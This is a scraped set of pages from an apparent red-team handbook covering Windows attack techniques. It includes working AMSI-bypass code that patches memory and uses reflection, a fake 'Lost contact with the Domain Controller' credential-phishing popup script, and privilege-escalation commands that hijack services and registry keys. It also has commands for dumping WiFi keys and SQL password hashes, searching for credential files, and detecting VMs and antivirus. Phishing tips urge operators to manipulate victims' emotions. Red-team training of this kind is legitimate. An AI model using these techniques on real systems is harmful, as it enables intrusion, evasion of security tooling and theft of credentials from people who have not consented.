\[DDE\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde.md) - \[Payload Delivery\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery.md) - \[File Formats\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats.md) - \[MSG\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msg.md) - \[RTF\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/rtf.md) - \[REG\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/reg.md) - \[BAT\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/bat.md) - \[MSI Files\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msi-files.md) - \[IQY\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/iqy.md) - \[CHM\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/chm.md) - \[LNK\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk.md) - \[Using LNK to Automatically Download Payloads\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk/using-lnk-to-automatically-download-payloads.md) - \[HTA\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tools.md). # Tools {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql.md). # MS SQL - \[Basics\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/basics.md) - \[Finding Sql Servers\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers.md) - \[Privilege Escalation\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation.md) - \[Post Exploitation\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tips-and-tricks.md). # Tips and Tricks \* Send password protected documents. \* Send links instead of attachments, S3 buckets and Azure blobs are a good choice. \* Avoid built-in document viewers. \* Unleash your inner sociopath, provide compliments and play with their emotions. \* Assume worst case scenario. \* Start a conversation with the victim before ending your malicious document. \* Leverage current events for a good pretext. \* clone internal email signatures and spoof phone numbers, following the standard email template for a company can really lure people in. \* Make your document phone back home whenever opened to have a better sense of idea of what went wrong if you encounter some failure. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/new-service.md). # New Service A trivial way to get system from admin privilege is to create a new service which will run our executable. Our executable will run with SYSTEM privileges by default. \`\`\` sc create lol binPath= "c:\\executable.exe" sc start lol \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence.md). # Persistence - \[Scheduled Tasks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks.md) - \[AT\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks/at.md) - \[MS Office\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office.md) - \[SQL\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/sql.md) - \[Admin Level\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level.md) - \[SSP\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/ssp.md) - \[Services\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/services.md) - \[Default File Extension\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/default-file-extension.md) - \[AppCert DLLs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appcert-dlls.md) - \[Time Provider\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/time-provider.md) - \[Waitfor\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/waitfor.md) - \[WinLogon\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon.md) - \[Netsh Dlls\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/netsh-dlls.md) - \[RDP Backdoors\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors.md) - \[AppInit Dlls\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appinit-dlls.md) - \[Port Monitor\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/port-monitor.md) - \[WMI Event Subscriptions\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/wmi-event-subscriptions.md) - \[User Level\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level.md) - \[LNK\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/lnk.md) - \[Startup Folder\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/startup-folder.md) - \[Junction folders\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/junction-folders.md) - \[Registry Keys\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/registry-keys.md) - \[Logon Scripts\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/logon-scripts.md) - \[Powershell Profiles\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/powershell-profiles.md) - \[Screen Savers\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/screen-savers.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks/at.md). # AT Windows AT is like a bootleg Schtask, it can run tasks at specific times but it does not have many options. The AT command always runs with SYSTEM level privileges. For example, run a file everyday at 8am: \`\`\` at 08:00 /EVERY:m,t,w,th,f,s,su C:\\file.exe \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level.md). # User Level - \[LNK\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/lnk.md) - \[Startup Folder\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/startup-folder.md) - \[Junction folders\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/junction-folders.md) - \[Registry Keys\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/registry-keys.md) - \[Logon Scripts\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/logon-scripts.md) - \[Powershell Profiles\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/powershell-profiles.md) - \[Screen Savers\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/screen-savers.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives.md). # Misconfigured Registry Hives We may have over privileged access to some registry keys that we can abuse for privilege escalation. \`\`\` accesschk.exe -accepteula -kvuqsw hklm\\System\\CurrentControlSet\\services > file.txt \`\`\` In this file, we want to look at "Authenticated Users", and see if we have any interesting privileges to any interesting keys. For example, if we have "KEY\\\_ALL\\\_ACCESS" to a service, we can abuse this for privilege escalation. To abuse this, we can issue the following command: \`\`\` reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\service /v ImagePath /t REG\_EXPAND\_SZ /d C:\\executable /f \`\`\` We know have to wait for the service to restart, or somehow trigger it to restart. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/basics.md). # Basics MS SQL is a set of windows services that runs on the Windows OS as a service account. High level of existing SQL Server account types: \* Windows Accounts. \* SQL Server Logins (Inside SQL Server). \* Database Users(Inside SQL Server). MS SQL Server common roles are: \* Sysadmin role –> Windows Admin for SQL Server. \* public role –> Least privilege, something like Everyone group in Windows. \* \[Full list\](https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2017). --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system.md). # To System - \[New Service\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/new-service.md) - \[Named Pipe Impersonation\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation.md) - \[Local Exploits\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/local-exploits.md) - \[AlwaysInstallElevated\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/alwaysinstallelevated.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks.md). # Scheduled Tasks Scheduled tasks are used to execute or do a certain action at a set period of time. Scheduled tasks can be used for userland or elevated persistence. There is a lot of flexibility on how to configure and when to trigger the task, these can be checked issuing “schtasks.exe /?" An example of this is this one, where it will run everyday at 10:00 \`\`\` schtasks /create /tn ”tenoclock" /tr C:\\executable /sc daily /st 10:00 \`\`\` or when the user's session is idle for 10 minutes \`\`\` schtasks /create /tn "NotEvil" /tr NotEvil /sc onidle /i 10 \`\`\` To execute as system, we can add the following flag: \`/ru System\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands.md). # WMIC commands ## Local Gather domain DC and other information \`\`\` wmic NTDOMAIN Get DomainControllerAddress,DomainName,Roles \`\`\` List all Users \`\`\` wmic /NAMESPACE:\\\\root\\directory\\ldap PATH ds\_user GET ds\_samaccountname \`\`\` Get all groups \`\`\` wmic /NAMESPACE:\\\\root\\directory\\ldap PATH ds\_group GET ds\_samaccountname \`\`\` Get members of the domain admin group \`\`\` wmic path win32\_groupuser where (groupcomponent="win32\_group.name='domain admins',domain="DOMAIN'") \`\`\` list all computers \`\`\` wmic /NAMESPACE:\\\\root\\directory\\ldap PATH ds\_computer GET ds\_samaccountname \`\`\` Computer information \`\`\` wmic computersystem list full \`\`\` Available volumes \`\`\` wmic volume list brief \`\`\` find AV \`\`\` wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe \`\`\` find updates \`\`\` wmic qfe list brief \`\`\` find files with password in the name \`\`\` wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE \`\`\` get local use raccounts \`\`\` wmic useraccount list \`\`\` WMI classes or information can also be accessed via Get-WmiObject in PowerShell. Some useful queries: AV products \`\`\` Get-WmiObject -Namespace root\\SecurityCenter2 -Class AntiVirusProduct \`\`\` VM detection \`\`\` \[Bool\](Get-WmiObject -Class Win32\_ComputerSystem -Filter "NumberOfLogicalProcessors < 2 OR TotalPhysicalMemory < 2147483648") \`\`\` find MSI not from MS \`\`\` Get-WmiObject -Query "select \* from Win32\_Product" | ?{$\_.Vendor - notmatch 'Microsoft’} \`\`\` Logged on users \`\`\` Get-WmiObject -Query "select \* from Win32\_LoggedOnUser" | ?{$\_.LogonType -notmatch '(Service|Network|System)’} \`\`\` VMWARE detection \`\`\` $VMAdapter=Get-WmiObject Win32\_NetworkAdapter -Filter 'Manufacturer LIKE "%VMware%" OR Name LIKE "%VMware%"' $VMBios=Get-WmiObject Win32\_BIOS -Filter 'SerialNumber LIKE "%VMware%"' $VMToolsRunning=Get-WmiObject Win32\_Process -Filter 'Name="vmtoolsd.exe"' \[Bool\]($VMAdapter -or $VMBios -or $VMToolsRunning)Gather domain DC and information \`\`\` ## AD We can enumerate remotely by adding \`/NODE:""\` enumerating under other user context can be done adding \`/USER:"\\" /PASSWORD:""\` ex: \`\`\` wmic /NODE:"DOMAIN" /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get \* \`\`\` enumerate groups: \`\`\` Get-CimInstance –ClassName Win32\_Group -Filter "DOMAIN = ''" \`\`\` user accounts \`\`\` Get-WMIObject –Class Win32\_UserAccount -Filter "DOMAIN = ''" \`\`\` Group user memberships \`\`\` Get-CimInstance -ClassName Win32\_Group -Filter "Domain = ' AND Name=''" \`\`\` Domain info \`\`\` wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE \`\`\` LDAP \`\`\` wmic /NAMESPACE:\\\\root\\directory\\ldap PATH ds\_user GET ds\_samaccountname wmic /NAMESPACE:\\\\root\\directory\\ldap PATH ds\_group GET ds\_samaccountname wmic /NAMESPACE:\\\\root\\directory\\ldap PATH ds\_group where "ds\_samaccountname='Domain Admins'" Get ds\_member /Value wmic /NAMESPACE:\\\\root\\directory\\ldap PATH ds\_group where "ds\_samaccountname=''" Get ds\_member /Value wmic /NAMESPACE:\\\\root\\directory\\ldap PATH ds\_computer GET ds\_dnshostname \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses.md). # AMSI Bypasses ## Patching When a process is created, amsi.dll is loaded and mapped into the virtual address space of the function. This means we can modify certain functions and patch them so that they function differently. In our case, AmsiScanBuffer is the function used to detect malicious content, meaning that we want to patch the AmsiScanBuffer function so it always returns AMSI\\\_RESULT\\\_CLEAN(not malicious). To do this, we need to find the AMSI\\\_RESULT\\\_CLEAN instructions in x86, this is mov EAX,0x80070057: !\[\](/files/-MgJIo7ngBkVd99F8TEc) The hex for this is 0xB8.0x57.0x00.0x07.0x80 The value 0x80070057 is an error code from Microsoft which stands for E\\\_INVALIDARG. AmsiScanBuffer() uses this to return when the parameters passed by the caller code are not valid. We can modify the AmsiScanBuffer() function in memory to always force it to return 0x80070057, which will return AMSI\\\_RESULT\\\_CLEAN as a result. To patch this, we can use this powershell snippet: \`\`\`javascript $Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { \[DllImport("kernel32")\] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); \[DllImport("kernel32")\] public static extern IntPtr LoadLibrary(string name); \[DllImport("kernel32")\] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $LoadLibrary = \[Win32\]::LoadLibrary("amsi.dll") $DllGetClassObjectAddress = \[Win32\]::GetProcAddress($LoadLibrary, "DllGetClassObject") $ASBAddress = \[System.IntPtr\]::New($DllGetClassObjectAddress.ToInt64() + \[Int64\](3248)) $oldProtect = 0 \[Win32\]::VirtualProtect($ASBAddress, \[uint32\]5, 0x40, \[ref\]$oldProtect) | Out-null $Patch = \[Byte\[\]\] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) \[System.Runtime.InteropServices.Marshal\]::Copy($Patch, 0, $ASBAddress, $Patch.Length) $newProtect = 0 \[Win32\]::VirtualProtect($ASBAddress, \[uint32\]5, $x, \[ref\]$newProtect) | Out-null \`\`\` Forcing it to return 0x80070057 is not the only way to do it too, we can also make it return zero with something like: \`sub eax, eax | ret\`. ## Reflection Reflection allows us to violate the rules of OOP and allow us to modify private variables which speaking, should not be accessed from outside their classes. This bypass uses reflection to set "amsiInitFailed" to true so that our AMSI result will return AMSI\\\_RESULT.AMSI\\\_RESULT\\\_NOT\\\_DETECTED; Which bypasses AMSI checking. We can see how this works in the following logic in “System.Management.Automation.AmsiUtils” : \`\`\`csharp internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI\_RESULT ScanContent(string content, string sourceMetadata) { if (string.IsNullOrEmpty(sourceMetadata)) { sourceMetadata = string.Empty; } if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf(“X5O!P%@AP\[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H\*”, StringComparison.Ordinal) >= 0)\ {\ return AmsiUtils.AmsiNativeMethods.AMSI\_RESULT.AMSI\_RESULT\_DETECTED;\ }\ if (AmsiUtils.amsiInitFailed)\ {\ return AmsiUtils.AmsiNativeMethods.AMSI\_RESULT.AMSI\_RESULT\_NOT\_DETECTED;\ }\ …\ }\ \`\`\`\ \ Our reflection bypass will look like this: \ \ \`\`\`csharp\ \[Ref\].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)\ \`\`\`\ \ 1. \\\[Ref\] abbreviates to \\\[System.Management.Automation.PSReference\].\ 2. To get direct access to the dll, we add the ".Assembly"\ 3. We then call the GetType function which retrieves a handle to the internal class Utils. \ 4. With this handle, we can begin to fetch the amsiInitFailed field by calling the GetField function, we specify nonpublic and static because GetField requires this(needs binding flags.)\ 5. We then set that value so it can return: AMSI\\\_RESULT.AMSI\\\_RESULT\\\_NOT\\\_DETECTED;\ \ ## Force Error\ \ \`\`\`csharp\ $mem = \[System.Runtime.InteropServices.Marshal\]::AllocHGlobal(9076)\[Ref\].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiSession”,”NonPublic,Static”).SetValue($null, $null);\[Ref\].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiContext”,”NonPublic,Static”).SetValue($null, \[IntPtr\]$mem)\ \`\`\`\ \ ## Reg Key\ \ There is a AMSI registry key, which if turned off should disable AMSI. Note that this requires the payload to be run twice\ \ 1. first run sets the registry key\ 2. second run executes the payload\ \ \`\`\`csharp\ var shelly = new ActiveXObject('Wscript.Shell');\ var key = "HKCU\\\\Software\\Microsoft\\Windows Script\\\\Settings\\\\AmsiEnabled";\ \ try{\ var enabled = shelly.RegRead(key);\ if(enabled!=0){\ throw new error(1, '');\ }\ }catch(e){\ shelly.RegWrite(key, 0, "REG\_DWORD");\ sh.Run("cscript -e:F414C262-6AC0-11CF-00AA00BBBB58} "+WscriptFullName,0,1);\ sh.RegWrite(key,1,"REG\_DWORD");\ Wscript.Quit(1);\ }\ \`\`\`\ \ ### Resources\ \ {% embed url="" %}\ \ {% embed url="" %} --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks.md). # Missing Services and Tasks ## Services There may be left overs on the system or unproperly installed packages that may lead to missing services. We can find these missing service binaries with this command: \`\`\` autorunsc64.exe -a s | more \`\`\` We are looking for "File not found:" entries. If we have write access to the folder that holds the missing executable, we can copy our binary over and elevate our privileges. \`\`\` icacls c:\\folder copy c:\\executable c:\\folder\\missing.exe \`\`\` ## Tasks The same applies for tasks, we can find this with: \`\`\` autoruns64.exe -a t | more \`\`\` and repeat the procedure above with services. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation.md). # Post Exploitation ## Finding Sensitive Info Indicators of sensitive info are the size, utilization of transparent encryption, names etc. For example, we can use this PowerUpSQL query to identify sensitive info based on names: \`\`\` >> Get-SQLInstanceDomain | Get-SQLConnectionTest | GetSQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "credit,money,password" -SampleSize 2 -ValidateCC -NoDefaults \`\`\` Or with transparent encryption: \`\`\` Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLDatabaseThreaded – Verbose –Threads 10 -NoDefaults | Where-Object {$\_.is\_encrypted –eq "TRUE"} | Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword "card, password" –SampleSize 2 –ValidateCC -NoDefaults \`\`\` ## Extracting hashes PowerUpSQL has a very useful function called GetSQLServerPasswordHash that automates the extracting hashes. \`\`\` Get-SQLServerPasswordHash -Verbose -Instance MSSQLSERVER2016\\DATABASE -Migrate \`\`\` ## Todo \* Getting code execution via xpcmdshell and sp\\\_OACreate --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/alwaysinstallelevated.md). # AlwaysInstallElevated If this registry key is set, all MSI packages are ran with system privileges. We can query this with: \`\`\` reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated \`\`\` If this is set to 1, then this settings is active. We can then execute our MSI implant file like this: \`\`\` msiexec /quiet /qn /i c:\\executable.msi \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/dll-hijacking.md). # DLL Hijacking (todo) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hunting-for-passwords.md). # Hunting For Passwords Low hanging fruit such as passwords may be exposed to a low privileged user which can be abused to escalate privileges. One way we can search for such passwords is this command. \`\`\` dir /b /a /s c:\\ > c:\\temp\\c-dirs.txt type c:\\temp\\c-dirs.txt | findstr /i passw \`\`\` You can also replace \`passw\` with : \`ssh, vnc\` etc. Interesting files that may contain sensitive info are unattend files: \`\`\` C:\\Windows\\sysprep\\sysprep.xml C:\\Windows\\sysprep\\sysprep.inf C:\\Windows\\sysprep.inf C:\\Windows\\Panther\\Unattended.xml C:\\Windows\\Panther\\Unattend.xml C:\\Windows\\Panther\\Unattend\\Unattend.xml C:\\Windows\\Panther\\Unattend\\Unattended.xml C:\\Windows\\System32\\Sysprep\\unattend.xml C:\\Windows\\System32\\Sysprep\\unattended.xml C:\\unattend.txt C:\\unattend.inf \`\`\` You can search for these files with: \`\`\` dir /s \*sysprep.inf \*sysprep.xml \*unattended.xml \*unattend.xml \*unattend.txt 2>nul \`\`\` More interesting files are: \`\`\` VARIABLES.DAT setupinfo setupinfo.bak web.config SiteList.xml .aws\\credentials .azure\\accessTokens.json .azure\\azureProfile.json gcloud\\credentials.db gcloud\\legacy\_credentials gcloud\\access\_tokens.db \`\`\` Sensitive passwords may also reside in registry: \`\`\` reg query HKLM /f password /t REG\_SZ /s reg query HKCU /f password /t REG\_SZ /s \`\`\` We can also look for vnc credentials and ssh keys (a good tool for this is ) \`\`\` reg query "HKCU\\Software\\ORL\\WinVNC3\\Password" reg query "HKCU\\Software\\TightVNC\\Server" reg query "HKCU\\Software\\SimonTatham\\PuTTY\\Sessions" reg query "HKCU\\Software\\OpenSSH\\Agent\\Keys" \`\`\` WIFI passwords may also be the same as the web page passwords: \`\`\` cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on \`\`\` ## Credential Popup You can simply make a credential popup and pray that the user enters their creds into the popup, an implementation is here: \`\`\` # POC from greg.foss\[at\]owasp.org # @enigma0x3 # Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/ # https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ function Invoke-Prompt { \[CmdletBinding()\] Param ( \[Switch\] $ProcCreateWait, \[String\] $MsgText = 'Lost contact with the Domain Controller.', \[String\] $IconType = 'Critical', \[String\] $Title = 'ERROR - 0xA801B720' ) Add-Type -AssemblyName Microsoft.VisualBasic Add-Type -assemblyname System.DirectoryServices.AccountManagement $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext(\[System.DirectoryServices.AccountManagement.ContextType\]::Machine) if($MsgText -and $($MsgText -ne '')){ $null = \[Microsoft.VisualBasic.Interaction\]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title) } $c=\[System.Security.Principal.WindowsIdentity\]::GetCurrent().name $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName") if($credential){ while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){ $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\\$env:username","") } "\[+\] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password } else{ "\[!\] User closed credential prompt" } } \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions.md). # Insecure Permissions - \[Missing Services and Tasks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks.md) - \[Misconfigured Registry Hives\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives.md) - \[Insecure Binary Path\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/insecure-binary-path.md) - \[Unquoted Service Paths\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/unquoted-service-paths.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/insecure-binary-path.md). # Insecure Binary Path Services may have insecure binary paths which may allow any user to modify the binpath of the service to point to any executable to run with elevated privileges. We will use accesschk to query for such services: \`\`\` accesschk.exe -accepteula -wuvc "Authenticated Users" \* \`\`\` If we get any write access like "RW", then we can change the binPath of the service to point to our malicious binary like so: \`\`\` sc config service binPath= "c:\\rto\\lpe\\implant\\implantsrv.exe" \`\`\` You then need to stop and start the service, or wait for the service to restart itself \`\`\` sc stop service sc start service \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers.md). # Finding Sql Servers ## Unauthenticated To find SQL servers from an unauthenticated user, we can use SQLCMD: \`\`\` sqlcmd -L \`\`\` We can do the same with metasploit \`\`\` msf > use auxiliary/scanner/mssql/mssql\_ping msf auxiliary(mssql\_ping) > set RHOSTS Target\_IP\_or\_CIDR\_identifier msf auxiliary(mssql\_ping) > run \`\`\` PowerUpSQL \`\`\` >> import-module .\\PowerUpSQL.psd1 >> Get-SQLInstanceScanUDP \`\`\` Other tools 